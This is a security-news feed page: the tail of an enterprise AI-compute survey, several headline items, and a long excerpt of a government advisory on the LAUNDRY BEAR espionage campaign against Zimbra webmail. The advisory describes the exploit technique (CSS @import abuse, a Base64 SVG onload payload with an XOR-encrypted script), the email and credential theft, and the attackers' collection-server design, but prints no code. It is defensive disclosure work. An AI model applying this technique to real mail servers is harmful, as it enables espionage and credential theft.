edge of a re-platforming. The direction-of-travel question tells the same story: every infrastructure approach is net-expanding, but specialized AI clouds carry the highest net momentum (+24), edging out even the hyperscalers (+22). Enterprises are preparing to move a meaningful share of AI compute off the general-purpose cloud.</p><p>This continues a trend we saw in our April-May survey wave. Back then, usage of the AI-specialized clouds was equally marginal — CoreWeave at 3%, Lambda at 4%, Crusoe at 2% of enterprises. When we asked enterprises what change they planned in their AI infrastructure strategy over the next twelve months, the most-cited answer was moving workloads to specialized AI clouds, at 33%. Asked in April-May which emerging compute option they were most likely to evaluate AI-specialized clouds again drew the most responses. Two waves, two differently worded questions, one consistent picture: the type of cloud enterprises are most eager to assess is the type they have barely begun to use.</p><h2>Finding 4: A switching wave is building</h2><p><b>Six in 10 plan to change providers within a year — many within a quarter</b></p><p>We asked whether and when enterprises plan to switch or add an infrastructure provider. Very few intend to stand still.</p><div></div><p>For a category as foundational as compute, this is a remarkable amount of intended movement. Only 36% have no plans to change, meaning a clear majority (64%) intend to switch or add a provider within twelve months — and 38% within the next quarter alone. Where that interest points is telling: the providers drawing the most switching consideration are again the incumbents — Microsoft Azure and Google Cloud (33% each), OpenAI (30%), and Gemini (22%) — which suggests much of the near-term movement is reshuffling among the majors and consolidating spend rather than defecting to new entrants. The neocloud interest in Finding 3 is a 12-month evaluation thesis; the switching in the next quarter is mostly incumbents trading share.</p><p>(<i>Method note: Respondents who selected both "no plans to change" and a specific switching window are counted as switchers, on the logic that naming a timeframe is the more specific answer; three respondents were reclassified under this rule.</i>)</p><h2>Finding 5: Nobody buys on token price</h2><p><b>Integration and total cost of ownership decide — not sticker price</b></p><p>We asked what matters most when enterprises select an AI infrastructure provider. Headline price finished last.</p><div></div><p>Enterprises do not buy AI infrastructure on pricing, which is the place vendors compete on hardest. Integration with the existing stack (41%) and total cost of ownership (35%) dominate, while the headline metric — cost per million tokens — is the deciding factor for just 8%, dead last. The pattern is coherent: buyers are optimizing for how a provider fits and what it truly costs to operate, not for the advertised unit rate. It also foreshadows Finding 7 — enterprises say TCO matters most, yet most cannot yet measure it rigorously. The stated priority and the measured capability are out of step.</p><h2>Finding 6: Expensive GPUs, idle most of the time</h2><p><b>83% report GPU utilization of 50% or less</b></p><p>We asked what share of their GPU capacity enterprises actually utilize. The answer is a well-known but rarely quantified inefficiency.</p><div></div><p><i>Disclosure: Band percentages count every selection against all 107 qualified respondents; 14 respondents selected more than one band, so bands overlap. At the respondent level, 83 of the 100 GPU-operating enterprises reported utilization at or below 50%</i></p><p>The compute already in place runs cold. Adding the bands at or below half capacity, 83% of enterprises that operate GPUs report utilization of 50% or less, and nearly half (49%) run at 25% or below. Only 12% clear the 50% mark, and a further 8% do not measure utilization at all. Idle accelerators are expensive accelerators, and this is the clearest single measure of the compute gap: enterprises are planning to buy more GPUs and specialized compute (Finding 3) while the capacity they already own sits substantially unused. The efficiency headroom in the current fleet is large — and largely unmeasured.</p><h2>Finding 7: Spending fast, measuring slowly</h2><p><b>Fewer than half rigorously track what their compute costs</b></p><p>We asked whether enterprises can quantify the cost and return of their AI infrastructure spend, and how satisfied they are with what they run. Confidence in the ledger lags the spending.</p><div></div><p>Measurement trails money. Fewer than half of enterprises (44%) rigorously track the cost and return of their AI compute; the majority track only partially (39%), cannot quantify it yet (20%), or have not prioritized it (6%). That gap is consequential given Finding 5, where total cost of ownership was the second-ranked buying criterion — enterprises are choosing providers on an economic basis they mostly cannot yet measure. Satisfaction with current infrastructure is moderately positive but not enthusiastic: on a five-point scale, overall satisfaction averages 4.0, with ease of implementation (3.8) and value for money (3.9) trailing slightly — the softness landing, tellingly, on cost. Enterprises are spending quickly and accounting slowly.</p><h2>Finding 8: The next bottleneck few are watching</h2><p><b>As inference shifts from compute to memory, the field scatters</b></p><p>Finally, we asked how enterprises would address the emerging constraint in large-scale inference — the shift from GPU compute to memory, specifically KV-cache capacity. The responses reveal a frontier that is not yet a priority.</p><div></div><p>The memory frontier is real but barely governed. Asked which approach they would rely on as the binding constraint in inference shifts from compute to memory bandwidth, enterprises scatter: Dell leads at 31%, Nvidia follows at 16%, and the rest fragments across storage vendors, open-source tooling, and model-level efficiency techniques. Most telling is that roughly one in five (18%) either do not recognize the constraint or have not begun to address it. For a shift that will reshape inference cost and architecture, this is an early and unsettled market — and, consistent with the measurement gap in Finding 7, one where many enterprises simply do not yet have a view. It is the next chapter of the compute gap, arriving before most have closed the current one.</p><h2>The bottom line: A compute gap that faster spending will widen, not close</h2><p>Organizations with more than 100 employees are investing in AI infrastructure faster than they can measure it. Most are still early in deployment, yet their spending intentions point past their current stack — toward specialized clouds and alternative accelerators almost none of them run today — and a clear majority intend to change providers within the year. They buy on integration and total cost of ownership rather than headline price, which is rational; the difficulty is that most cannot yet see those economics clearly.</p><p>The visibility gap is concrete. The GPUs enterprises already own run at half utilization or less for the overwhelming majority, and fewer than half can rigorously track what their compute costs or returns. Satisfaction is decent but unenthusiastic, softest on value for money — the dimension hardest to judge without measurement. And the next constraint, the shift from compute to memory in large-scale inference, is arriving while most enterprises are still unaware of it. At 107 respondents in a single Q2 wave this is a directional read, skewed toward the mid-market and earlier-stage adopters — but the direction is consistent: the appetite to spend is running well ahead of the instrumentation to spend well. The compute gap is not a capacity problem that more hardware will solve on its own; it is, first, a problem of seeing what the hardware already costs. The open question for later waves is whether enterprises build that visibility before the re-platforming arrives — or buy the next layer of infrastructure as blind to its economics as the last.</p><hr><p><i>Based on survey responses from 107 qualified enterprise respondents (100+ employees), drawn from a single Q2 2026 (June) wave. Because this is one wave rather than a pooled multi-month sample, the results read cross-sectionally rather than as a month-over-month trend, and at 107 respondents this is a directional signal rather than a precise measurement — the sample is self-selected, skews mid-market, and leans toward earlier-stage adopters rather than the largest hyperscale operators. Respondents include managers, individual contributors, VPs/directors, and the C-suite, with buyer-credible purchasing authority, across Technology/Software, Healthcare/Life Sciences, Financial Services, Retail/E-commerce, and other industries.</i></p>]]></content:encoded>
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<title><![CDATA[Chaos Ransomware Turns Your Chrome and Edge Web Browser Into an Invisible Malware Command Channel]]></title>
<description><![CDATA[Chaos ransomware has introduced a new way to hide attacker activity inside everyday web browsing. The group’s msaRAT remote-access tool turns Chrome or Microsoft Edge into a covert channel for receiving commands and moving data. This approach mirrors the stealth concerns raised by fake Chrome upd...]]></description>
<link>https://tsecurity.de/de/3689711/it-security-nachrichten/chaos-ransomware-turns-your-chrome-and-edge-web-browser-into-an-invisible-malware-command-channel/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3689711/it-security-nachrichten/chaos-ransomware-turns-your-chrome-and-edge-web-browser-into-an-invisible-malware-command-channel/</guid>
<pubDate>Thu, 23 Jul 2026 18:44:19 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>Chaos ransomware has introduced a new way to hide attacker activity inside everyday web browsing. The group’s msaRAT remote-access tool turns Chrome or Microsoft Edge into a covert channel for receiving commands and moving data. This approach mirrors the stealth concerns raised by fake Chrome update malware campaigns, but uses the browser after compromise rather than as […]</p>
<p>The post <a href="https://cybersecuritynews.com/chaos-ransomware-turns-chrome-malware/">Chaos Ransomware Turns Your Chrome and Edge Web Browser Into an Invisible Malware Command Channel</a> appeared first on <a href="https://cybersecuritynews.com/">Cyber Security News</a>.</p>]]></content:encoded>
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<title><![CDATA[Tesla’s robotaxis are moving in reverse]]></title>
<description><![CDATA[The number of paid robotaxi miles traveled fell 36% in the second quarter, despite expanding to new cities, according to Tesla's own figures.]]></description>
<link>https://tsecurity.de/de/3689682/it-nachrichten/teslas-robotaxis-are-moving-in-reverse/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3689682/it-nachrichten/teslas-robotaxis-are-moving-in-reverse/</guid>
<pubDate>Thu, 23 Jul 2026 18:35:13 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[The number of paid robotaxi miles traveled fell 36% in the second quarter, despite expanding to new cities, according to Tesla's own figures.]]></content:encoded>
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<title><![CDATA[From Awareness to Action: Helping Organizations Prepare for Post-Quantum Cryptography]]></title>
<description><![CDATA[Post-Quantum Cryptography is moving from policy discussion to operational priority. Learn how organizations can begin building visibility, reducing risk, and preparing for crypto-agile migration.        This article has been indexed from Industry Trends & Insights Read the original article: From…...]]></description>
<link>https://tsecurity.de/de/3689511/it-security-nachrichten/from-awareness-to-action-helping-organizations-prepare-for-post-quantum-cryptography/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3689511/it-security-nachrichten/from-awareness-to-action-helping-organizations-prepare-for-post-quantum-cryptography/</guid>
<pubDate>Thu, 23 Jul 2026 17:41:43 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>Post-Quantum Cryptography is moving from policy discussion to operational priority. Learn how organizations can begin building visibility, reducing risk, and preparing for crypto-agile migration.        This article has been indexed from Industry Trends &amp; Insights Read the original article: From…</p>
<p class="more-link-p"><a class="more-link" href="https://www.itsecuritynews.info/from-awareness-to-action-helping-organizations-prepare-for-post-quantum-cryptography/">Read more →</a></p>
<p>The post <a href="https://www.itsecuritynews.info/from-awareness-to-action-helping-organizations-prepare-for-post-quantum-cryptography/">From Awareness to Action: Helping Organizations Prepare for Post-Quantum Cryptography</a> appeared first on <a href="https://www.itsecuritynews.info/">IT Security News</a>.</p>]]></content:encoded>
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<title><![CDATA['I’m more excited about what’s to come than what we have achieved': Samsung executive on why they built the Galaxy Z Fold 8, Apple's iPhone Ultra threat, and what comes next for foldables]]></title>
<description><![CDATA[We sat down with Samsung’s EVP and Head of CX Office, Jay Kim, to discuss the new Galaxy Z Fold 8 series and the future of foldables.]]></description>
<link>https://tsecurity.de/de/3689426/it-nachrichten/im-more-excited-about-whats-to-come-than-what-we-have-achieved-samsung-executive-on-why-they-built-the-galaxy-z-fold-8-apples-iphone-ultra-threat-and-what-comes-next-for-foldables/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3689426/it-nachrichten/im-more-excited-about-whats-to-come-than-what-we-have-achieved-samsung-executive-on-why-they-built-the-galaxy-z-fold-8-apples-iphone-ultra-threat-and-what-comes-next-for-foldables/</guid>
<pubDate>Thu, 23 Jul 2026 17:04:15 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[We sat down with Samsung’s EVP and Head of CX Office, Jay Kim, to discuss the new Galaxy Z Fold 8 series and the future of foldables.]]></content:encoded>
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<title><![CDATA[Russian State-Supported Cyber Actors Conduct Phishing Campaign Targeting Users of Zimbra Collaboration Suite]]></title>
<description><![CDATA[Russian State-Supported Cyber Actors Conduct Phishing Campaign Targeting Users of Zimbra Collaboration Suite
Executive summary 
A group of Russian state-supported cyber actors has been targeting and compromising various Western government and commercial organizations using the Zimbra Collaboratio...]]></description>
<link>https://tsecurity.de/de/3689407/sicherheitsluecken/russian-state-supported-cyber-actors-conduct-phishing-campaign-targeting-users-of-zimbra-collaboration-suite/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3689407/sicherheitsluecken/russian-state-supported-cyber-actors-conduct-phishing-campaign-targeting-users-of-zimbra-collaboration-suite/</guid>
<pubDate>Thu, 23 Jul 2026 16:59:29 +0200</pubDate>
<category>🕵️ Sicherheitslücken</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div class="c-page-title__buttons"><a class="c-button" href="https://media.defense.gov/2026/Jul/22/2003965244/-1/-1/1/CSA_RUSSIA_PHISHING_TARGET_ZIMBRA.PDF">Russian State-Supported Cyber Actors Conduct Phishing Campaign Targeting Users of Zimbra Collaboration Suite</a></div>
<h2><strong>Executive summary</strong> </h2>
<p>A group of Russian state-supported cyber actors has been targeting and compromising various Western government and commercial organizations using the Zimbra Collaboration Suite (ZCS) software since at least July 2025. The Russian state-supported advanced persistent threat (APT) group’s activity is tracked in the cybersecurity community under several names (see <a href="https://www.cisa.gov/#cyber1">Cybersecurity industry tracking</a>), primarily as “LAUNDRY BEAR,” a name initially coined by the Netherlands General Intelligence and Security Service (AIVD) and Defence Intelligence and Security Service (MIVD) [<a href="https://www.cisa.gov/#wc1">1</a>].</p>
<p>LAUNDRY BEAR’s targeting is almost certainly to gather sensitive information for the Russian Federation, with these actors primarily focusing on the covert acquisition of email data. Previous campaigns indicated LAUNDRY BEAR relied on unsophisticated initial access techniques—including password spraying, phishing, and pass-the-cookie—allowing the group to successfully run high-volume operations. The latest campaign targeting ZCS uses a novel exploit that was a zero-day vulnerability when first exploited and continues to be successfully exploited. The vulnerability, Common Vulnerabilities and Exposures (CVE) <a href="https://www.cve.org/CVERecord?id=CVE-2025-66376" target="_blank">CVE-2025-66376</a>, was patched in November 2025. This demonstrates LAUNDRY BEAR’s intent and ability to deploy increasingly sophisticated technical capabilities.</p>
<p>Unlike traditional phishing campaigns that persuade a user into taking an action, such as clicking a link or opening a file, LAUNDRY BEAR’s latest campaign leverages a view-based exploit that only requires a user to view a malicious email within a vulnerable version of the webmail service. Once viewed, the exploit attempts to exfiltrate the victim’s last 90 days of email communications, the organization email directory (i.e., Global Address List [GAL]), and other sensitive information to servers controlled by LAUNDRY BEAR. The exploit also attempts to establish persistent access to victim accounts through a variety of means as detailed in the <a href="https://www.cisa.gov/#persistence1">Persistence and credential access</a> section.</p>
<p>This Cybersecurity Advisory (CSA) warns of this ongoing malicious threat activity and urges organizations to update their vulnerable software and implement additional mitigations to thwart these Russian state-supported actors’ continued success. The CSA is being released by the following authoring and co-sealing agencies:</p>
<ul>
<li>United States National Security Agency (NSA)</li>
<li>United States Federal Bureau of Investigation (FBI)</li>
<li>Netherlands Defence Intelligence and Security Service (MIVD)</li>
<li>Netherlands General Intelligence and Security Service (AIVD)</li>
<li>United States Cybersecurity and Infrastructure Security Agency (CISA)</li>
<li>United States Defense Counterintelligence and Security Agency (DCSA)</li>
<li>United States Department of Defense Cyber Crime Center (DC3)</li>
<li>United States Department of the Treasury</li>
<li>United States Naval Criminal Investigative Service (NCIS)</li>
<li>Australian Signals Directorate’s Australian Cyber Security Centre (ASD’s ACSC)</li>
<li>Communications Security Establishment Canada’s (CSE’s) Canadian Centre for Cyber Security (Cyber Centre)</li>
<li>New Zealand National Cyber Security Centre (NCSC-NZ)</li>
<li>United Kingdom National Cyber Security Centre (NCSC-UK)</li>
<li>Czech Republic National Cyber and Information Security Agency (NÚKIB)<a href="https://www.cisa.gov/#f1"><sup>1</sup></a></li>
<li>Danish Defence Intelligence Service (DDIS)<a href="https://www.cisa.gov/#f2"><sup>2</sup></a></li>
<li>Estonian Foreign Intelligence Service (EFIS)<a href="https://www.cisa.gov/#f3"><sup>3</sup></a></li>
<li>Finnish Defence Intelligence (FDI)<a href="https://www.cisa.gov/#f4"><sup>4</sup></a></li>
<li>Finnish Security and Intelligence Service (SUPO)<a href="https://www.cisa.gov/#f5"><sup>5</sup></a></li>
<li>French General Directorate for Internal Security (DGSI)<a href="https://www.cisa.gov/#f6"><sup>6</sup></a></li>
<li>French National Cybersecurity Agency (ANSSI)<a href="https://www.cisa.gov/#f7"><sup>7</sup></a></li>
<li>Italian External Intelligence and Security Agency (AISE)<a href="https://www.cisa.gov/#f8"><sup>8</sup></a></li>
<li>Italian Internal Intelligence and Security Agency (AISI)<a href="https://www.cisa.gov/#f9"><sup>9</sup></a></li>
<li>Security and Intelligence Service of the Republic of Moldova (SIS RM)<a href="https://www.cisa.gov/#f10"><sup>10</sup></a></li>
<li>Polish Foreign Intelligence Agency (AW)<a href="https://www.cisa.gov/#f11"><sup>11</sup></a></li>
<li>The Military Counterintelligence Service of Poland (SKW)<a href="https://www.cisa.gov/#f12"><sup>12</sup></a></li>
<li>Spain National Intelligence Centre (CNI)<a href="https://www.cisa.gov/#f13"><sup>13</sup></a></li>
<li>Sweden National Cyber Security Centre (NCSC-SE)<a href="https://www.cisa.gov/#f14"><sup>14</sup></a></li>
</ul>
<p>The authoring agencies urge any organizations using ZCS to implement the recommendations listed within the <a href="https://www.cisa.gov/#mitigations1">Mitigations</a> section of this advisory to reduce the risk associated with this activity. This CSA also includes specific remediations for organizations to implement if they discover the presence of the listed <a href="https://www.cisa.gov/#ioc1">Indicators of compromise</a> (IOCs).  </p>
<p>As more organizations update their ZCS software based on this CSA, LAUNDRY BEAR may discontinue the current campaign exploiting this vulnerability; however, based on the success of this and previous campaigns, it is very likely that the group will continue to target ZCS and other email systems used by organizations in Western countries. The actors will almost certainly continue to rely on email to engage potential victims by exploiting novel vulnerabilities and, when necessary, use social engineering techniques to assist with their efforts. The authoring agencies recommend organizations regularly update their mail service software and continuously monitor their email systems and emails for malicious activity.</p>
<p>For a downloadable list of IOCs, see:</p>
<ul>
<li><a href="https://www.cisa.gov/sites/default/files/2026-07/AA26-204A.stix_.xml">AA26-204A.stix.xml</a> (STIX XML)</li>
<li><a href="https://www.cisa.gov/sites/default/files/2026-07/AA26-204A.stix_.json">AA26-204A.stix.json</a> (STIX JSON)</li>
</ul>
<h2><strong>Cybersecurity industry tracking</strong><a class="ck-anchor"></a></h2>
<p>The cybersecurity industry provides overlapping cyber threat intelligence, indicators of compromise (IOCs), and mitigation recommendations related to these Russian state-supported cyber actors. While not exhaustive, the following are threat group names commonly used for these actors within the cybersecurity community:</p>
<ul>
<li>LAUNDRY BEAR</li>
<li>Void Blizzard [<a href="https://www.cisa.gov/#wc2">2</a>]</li>
<li>CL-STA-1114 [<a href="https://www.cisa.gov/#wc3">3</a>]</li>
<li>TA488 (formerly UNK_PitStop) [<a href="https://www.cisa.gov/#wc4">4</a>]</li>
</ul>
<p><strong>Note:</strong> Cybersecurity companies have different methods of tracking and attributing cyber actors, and this may not be a 1:1 correlation to the U.S. government’s understanding for all activity related to these groupings.</p>
<h2><strong>Background</strong></h2>
<p>Public advisories from Netherlands General Intelligence and Security Service (AIVD), Netherlands Defence Intelligence and Security Service (MIVD), and Microsoft highlighted these Russian state-supported advanced persistent threat (APT) actors in May 2025, calling them LAUNDRY BEAR and Void Blizzard respectively [<a href="https://www.cisa.gov/#wc1">1</a>] [<a href="https://www.cisa.gov/#wc2">2</a>]. Both advisories assessed that the group was engaged in malicious cyber activity as early as April 2024.  </p>
<p>The May 2025 advisories highlighted a cluster of activity targeting cloud-based email environments, including Microsoft Exchange in particular, and abusing legitimate APIs to perform data exfiltration in bulk [<a href="https://attack.mitre.org/versions/v19/techniques/T1114/002/" target="_blank">T1114.002</a>]. The group relied on unsophisticated means of initial access, including procuring stolen credentials on criminal marketplaces [<a href="https://attack.mitre.org/versions/v19/techniques/T1078/" target="_blank">T1078</a>], and using social engineering techniques to lure targets into interacting with a malicious site masquerading as a legitimate one. As of April 2025, one of these sites resembled a European Defence &amp; Security Summit registration portal that required registrants to sign in to their Microsoft account to view. Once a user entered their Microsoft credentials into this malicious site, LAUNDRY BEAR’s modified version of the open source adversary emulation toolkit, Evilginx, intercepted the user’s credentials. LAUNDRY BEAR then used this authentication data, including passwords and session tokens, to access the compromised account and conduct mass email exfiltration, as well as harvest other information. This method of compromise is commonly known as an adversary-in-the-middle (AiTM) technique [<a href="https://attack.mitre.org/versions/v19/techniques/T1557/" target="_blank">T1557</a>].  </p>
<p>Beginning around July 2025, LAUNDRY BEAR shifted toward a more technical method of email compromise, highlighting their continued efforts to covertly acquire email communications from a variety of Western organizations of interest and deliver them to the Russian Federation. Using a custom-developed capability [<a href="https://attack.mitre.org/versions/v19/techniques/T1587/001/" target="_blank">T1587.001</a>] named “<em>Улей</em>” or “<em>Ulej</em>” (Russian for beehive), LAUNDRY BEAR successfully targeted and exfiltrated sensitive user information from organizations who use the Zimbra Collaboration Suite (ZCS) product [<a href="https://attack.mitre.org/versions/v19/techniques/T1114/" target="_blank">T1114</a>]. Data LAUNDRY BEAR attempted to exfiltrate from compromised accounts included:</p>
<ul>
<li>Last 90 days of emails,</li>
<li>Email address,</li>
<li>Password [<a href="https://attack.mitre.org/versions/v19/techniques/T1589/001/" target="_blank">T1589.001</a>],</li>
<li>Global Address List (GAL) [<a href="https://attack.mitre.org/versions/v19/techniques/T1087/" target="_blank">T1087</a>],</li>
<li>Two-factor authentication (2FA) tokens, and</li>
<li>Newly-created Application Passcode [<a href="https://attack.mitre.org/versions/v19/techniques/T1098/" target="_blank">T1098</a>].</li>
</ul>
<p>The covert and persistent nature of this activity, along with the absence of any known financial extortion, almost certainly indicates this group’s involvement in espionage activities with Russian government backing. Additionally, extensive Ukrainian targeting, prior to use against U.S. and other NATO allies, outlines an increasing trend within Russian cyber threat groups to target Ukrainian users first—both as a priority target and as a testbench for malicious cyber techniques before broader global deployment.</p>
<h2><strong>Targeting details</strong></h2>
<p>LAUNDRY BEAR has targeted and compromised users in various organizations, including those associated with:</p>
<ul>
<li>the Defense Industrial Base (DIB),  </li>
<li>the federal and local government,</li>
<li>education,</li>
<li>energy,</li>
<li>law enforcement,  </li>
<li>media,  </li>
<li>non-governmental organizations, and</li>
<li>technology.</li>
</ul>
<h2><strong>Technical details</strong></h2>
<p><strong>Note:</strong> This advisory uses the <a href="https://attack.mitre.org/versions/v19/matrices/enterprise/" target="_blank">MITRE ATT&amp;CK® Matrix for Enterprise</a> framework, version 19. This advisory also uses <a href="https://d3fend.mitre.org/" target="_blank">MITRE D3FEND<sup>TM</sup></a> version 1.4.0<a href="https://www.cisa.gov/#f15"><sup>15</sup></a>. See <a href="https://www.cisa.gov/#appendixa">Appendix A</a> and <a href="https://www.cisa.gov/#appendixb">Appendix B</a> for tables of the activity mapped to MITRE ATT&amp;CK and D3FEND tactics, techniques, and countermeasures.</p>
<p><em>Ulej </em>is a novel data exfiltration and aggregation capability, that currently (as of the publication of this report) supports a campaign specifically targeting users of ZCS webmail servers. This capability is used to exploit <a href="https://www.cve.org/CVERecord?id=CVE-2025-66376" target="_blank">CVE-2025-66376</a> [Common Weakness Enumeration (CWE) <a href="https://cwe.mitre.org/data/definitions/79.html" target="_blank">CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting'</a>)], but likely could be adapted to exploit other vulnerabilities. It exfiltrates emails and other sensitive user data from a victim’s system immediately after exploitation and stores the data in an actor-controlled unattributable virtual private server (VPS) [<a href="https://attack.mitre.org/versions/v19/techniques/T1074/002/" target="_blank">T1074.002</a>] running LAUNDRY BEAR’s “Flowerbed” collection framework. The collected data is almost certainly further exfiltrated to internal network resources for review and long-term retention.</p>
<h3><em><strong>Reconnaissance</strong></em></h3>
<p>LAUNDRY BEAR uses the <em>Ulej </em>capability to exploit the <a href="https://www.cve.org/CVERecord?id=CVE-2025-66376" target="_blank">CVE-2025-66376</a> vulnerability in organizations using ZCS. This campaign’s targeted victimology and limited exploitation capabilities likely indicate this group manually identifies and targets the victim organizations. LAUNDRY BEAR likely identifies organizations with public-facing Zimbra infrastructure by port scanning [<a href="https://attack.mitre.org/versions/v19/techniques/T1595/" target="_blank">T1595</a>] and fingerprinting datasets easily procured through various commercial vendors [<a href="https://attack.mitre.org/versions/v19/techniques/T1596/005/" target="_blank">T1596.005</a>].  </p>
<p>After identifying a target organization, the group likely compiles email addresses for individual users to target with the exploit [<a href="https://attack.mitre.org/versions/v19/techniques/T1589/002/" target="_blank">T1589.002</a>] from datasets offered by commercial vendors [<a href="https://attack.mitre.org/versions/v19/techniques/T1597/002/" target="_blank">T1597.002</a>], open source intelligence [<a href="https://attack.mitre.org/versions/v19/techniques/T1593/" target="_blank">T1593</a>], or previously exfiltrated data [<a href="https://attack.mitre.org/versions/v19/techniques/T1597/" target="_blank">T1597</a>].  </p>
<h3><em><strong>Resource development </strong></em><a class="ck-anchor"></a></h3>
<p>The actors procure VPSs from a variety of providers [<a href="https://attack.mitre.org/versions/v19/techniques/T1583/003/" target="_blank">T1583.003</a>], including those with Know Your Customer (KYC) requirements, and often use fabricated identities. LAUNDRY BEAR primarily uses Mullvad VPN [<a href="https://attack.mitre.org/versions/v19/techniques/T1583/">T1583</a>] when interacting with these servers, further demonstrating the group’s intent to mask their identity and maintain operations security (OPSEC). After the server is provisioned, an automated process deploys the Docker containers necessary for <em>Ulej’s</em> Flowerbed framework [<a href="https://attack.mitre.org/versions/v19/techniques/T1608/">T1608</a>], which then receives and aggregates the data <em>Ulej</em> exfiltrates. These servers are typically only used for 7-60 days before moving to new infrastructure.</p>
<h4><strong>Flowerbed framework</strong></h4>
<p>Flowerbed is a Python project that uses Docker for containerization. The project includes four different Docker containers:</p>
<ul>
<li>Catcher,</li>
<li>Certbot,</li>
<li>Nginx, and</li>
<li>Gardener.</li>
</ul>
<p>Catcher acts as both a DNS and HTTP server to receive and aggregate exfiltrated victim information [<a href="https://attack.mitre.org/versions/v19/techniques/T1048/">T1048</a>]. For additional information on Catcher, refer to the <a href="https://www.cisa.gov/#exfil1">Exfiltration</a> section of this advisory. Flowerbed’s next container, Certbot, is based on one of the official Certbot containers, which allows for automated generation of Let’s Encrypt certificates using DNS challenges through Cloudflare. This certificate can then be used by the Nginx container, which serves as an HTTPS reverse proxy for Catcher, enabling Flowerbed to disguise some of its exfiltration activity through an encrypted communications channel [<a href="https://attack.mitre.org/versions/v19/techniques/T1048/002/" target="_blank">T1048.002</a>]. The Nginx reverse proxy also validates that the Server Name Indicator (SNI) value contains “*.i.*” prior to forwarding the traffic to Catcher. If the SNI does not contain that string, the Nginx server returns a 444 error to the client. This is likely an attempt to reject non-Ulej connections. Finally, the Gardener container functions as a health check for the Catcher service. Gardener is a simple Python script that validates Catcher correctly receives and processes data.</p>
<p>The simplistic Flowerbed codebase has indications that artificial intelligence (AI) played a role in its development. This highlights how AI is increasingly being used to develop malicious capabilities [<a href="https://attack.mitre.org/versions/v19/techniques/T1588/007/" target="_blank">T1588.007</a>]. The dependence on AI for a simple capability, such as Flowerbed, alongside a previous reliance on open source capabilities, such as Evilginx2 [<a href="https://attack.mitre.org/versions/v19/techniques/T1588/002/" target="_blank">T1588.002</a>], likely indicates a lack of advanced technical knowledge within LAUNDRY BEAR, especially in relation to true software development capabilities.</p>
<h3><em><strong>Initial access</strong></em></h3>
<p>To gain initial access, LAUNDRY BEAR sends an email containing a malicious JavaScript payload to the target [<a href="https://attack.mitre.org/versions/v19/techniques/T1566/" target="_blank">T1566</a>]. Through exploitation of <a href="https://www.cve.org/CVERecord?id=CVE-2025-66376" target="_blank">CVE-2025-66376</a>, this JavaScript payload is immediately executed once the user views the malicious email [<a href="https://attack.mitre.org/versions/v19/techniques/T1203/" target="_blank">T1203</a>], such as the one shown in <a href="https://www.cisa.gov/#figure1"><strong>Figure 1</strong></a>, in the ZCS webmail platform. Since at least November 2025, LAUNDRY BEAR began sending these phishing emails from victim infrastructure through compromised accounts [<a href="https://attack.mitre.org/versions/v19/techniques/T1199/" target="_blank">T1199</a>], as shown in the email metadata in <a href="https://www.cisa.gov/#figure2"><strong>Figure 2</strong></a>. These compromised accounts were likely previous victims of this, or another LAUNDRY BEAR, campaign and their use is intended to further obfuscate and frustrate anti-phishing tools and training.</p>
<p><a class="ck-anchor"></a></p>



<figure class="c-figure c-figure--image" role="group">
  
  <div class="c-figure__media">    <img loading="lazy" src="https://www.cisa.gov/sites/default/files/styles/large/public/2026-07/figure1.png?itok=yrzcl7tK" width="604" height="235" alt="Figure 1: Example of malicious email">



</div>
      <figcaption class="c-figure__caption"><em><strong>Figure 1: Example of malicious email</strong></em></figcaption>
  </figure>
<p><a class="ck-anchor"></a></p>



<figure class="c-figure c-figure--image" role="group">
  
  <div class="c-figure__media">    <img loading="lazy" src="https://www.cisa.gov/sites/default/files/styles/large/public/2026-07/figure2.png?itok=vEulmmyx" width="604" height="102" alt="Figure 2: Headers from an example malicious email">



</div>
      <figcaption class="c-figure__caption"><em><strong>Figure 2: Headers from an example malicious email</strong></em></figcaption>
  </figure>
<p>According to the National Vulnerability Database (NVD), <a href="https://nvd.nist.gov/vuln/detail/CVE-2025-66376" target="_blank">CVE-2025-66376</a> was initially published on 5 January 2026. This vulnerability allows for execution of a JavaScript payload included in email content due to improper sanitization of Cascading Style Sheet’s (CSS) @import directives within an email [<a href="https://www.cisa.gov/#wc5">5</a>]. Because the activity attributed to this campaign began in July 2025—months before Synacor released a patch and the CVE was published—the payload initially exploited a zero-day vulnerability at that time [<a href="https://attack.mitre.org/versions/v19/techniques/T1587/004/" target="_blank">T1587.004</a>].  </p>
<p><strong>Utilization of a zero-day exploit within this campaign demonstrates the ability for even emerging threat groups like LAUNDRY BEAR to operationalize novel exploits into a highly successful capability.</strong></p>
<p>Hidden in LAUNDRY BEAR’s email is a Base64 encoded payload within the “onload” field of a Scalable Vector Graphics (SVG) element [<a href="https://attack.mitre.org/versions/v19/techniques/T1027/017/" target="_blank">T1027.017</a>], as shown in <a href="https://www.cisa.gov/#figure3"><strong>Figure 3</strong></a>. Leading up to the inclusion of this payload in the SVG element are various instances of @import directives, as required to leverage <a href="https://www.cve.org/CVERecord?id=CVE-2025-66376">CVE-2025-66376</a>. This payload includes an XOR encrypted final script encoded in a Base64 inner payload (see <a href="https://www.cisa.gov/#figure3"><strong>Figure 3</strong></a>) [<a href="https://attack.mitre.org/versions/v19/techniques/T1027/013/" target="_blank">T1027.013</a>]. The outer payload decodes and decrypts the inner payload using an XOR function and a hardcoded key and then executes the script contained within the inner payload containing the collection and exfiltration logic. By changing the key used for the XOR encryption of the inner payload or adding additional @import directives with non-functional code [<a href="https://attack.mitre.org/versions/v19/techniques/T1027/010/" target="_blank">T1027.010</a>], LAUNDRY BEAR can easily generate new payloads that bypass basic threat detection signatures. This malicious payload attempts to collect and exfiltrate information in 12 asynchronous stages [<a href="https://attack.mitre.org/versions/v19/techniques/T1119/">T1119</a>]. The stages in order of appearance within the payload are as follows:</p>
